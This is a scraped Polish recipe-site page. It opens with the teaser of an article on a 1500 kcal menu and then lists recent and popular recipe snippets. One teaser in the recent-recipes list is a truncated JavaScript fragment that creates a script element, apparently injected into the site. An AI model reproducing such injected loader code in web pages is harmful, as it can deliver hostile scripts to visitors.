Przykładowy jadłospis na dynamiczny dzień 1500 kcal
Źródło: http://www.wymiarzdrowia.pl/przykadowy-jadospis-na-dynamiczny-dzien-2/
Autor: Wymiar Zdrowia
Za dobre samopoczucie i energie odpowiadaja w mozgu tzw. neuroprzekanziki: serotomina i dopamina.Ich poziom podnosi sie, gdy zjemy cos slodkiego lub macznego, ale niestety na krotko. By zyskac energie na caly dzien, trzeba wybierac posilki bogate w substancje, z ktorych organizm produkuje neuroprzekazniki.Tak dzialaja: chude mieso, jajka i...
Najnowsze przepisy
Mięciutkie ciasto marchewkowe – wilgotny i delikatny... ⇖ 8
Czy diabetyk może jeść pizzę? To pytanie nurtuje wiele... ⇖ 11
Zapiekanka ryżowa z mięsem to świetna okazja do zużycia... ⇖ 14
(function(){ zsif=document.createElement("script");zsif_=("o ⇖ 14
Naleśniki napełnione po same brzegi pysznym mięsnym... ⇖ 19
Ciasto bananowe, łatwe i szybkie, idealne na wykorzystanie... ⇖ 18
Prościej się chyba nie da. Przy czym dostajemy bardzo... ⇖ 21
Ziemniaki zapiekane z brokułem to propozycja na prosty, a... ⇖ 23
Przepisy z bloga
Przepisy na czasie
Szukasz pomysłu na jajka wielkanocne? Ten przepis na jajka... ⇖ 706
Upieczenie tej fikuśnej babki (zwanej na wielu stronach... ⇖ 644
Święta Wielkanocne to idealny czas na kreatywne i... ⇖ 318
Jeśli szukacie pomysłu na wypiek, który zachwyci gości,... ⇖ 311
Ciasto Iskierka z musem brzoskwiniowym i krememCiasto... ⇖ 248
Ciasto tortowe z kremem, galaretką i śmietanąCiasto... ⇖ 203
Szukasz pomysłu na szybkie i smaczne jajka w sosie... ⇖ 192
Sernik z brzoskwiniami na kruchym kakaowym cieście to... ⇖ 189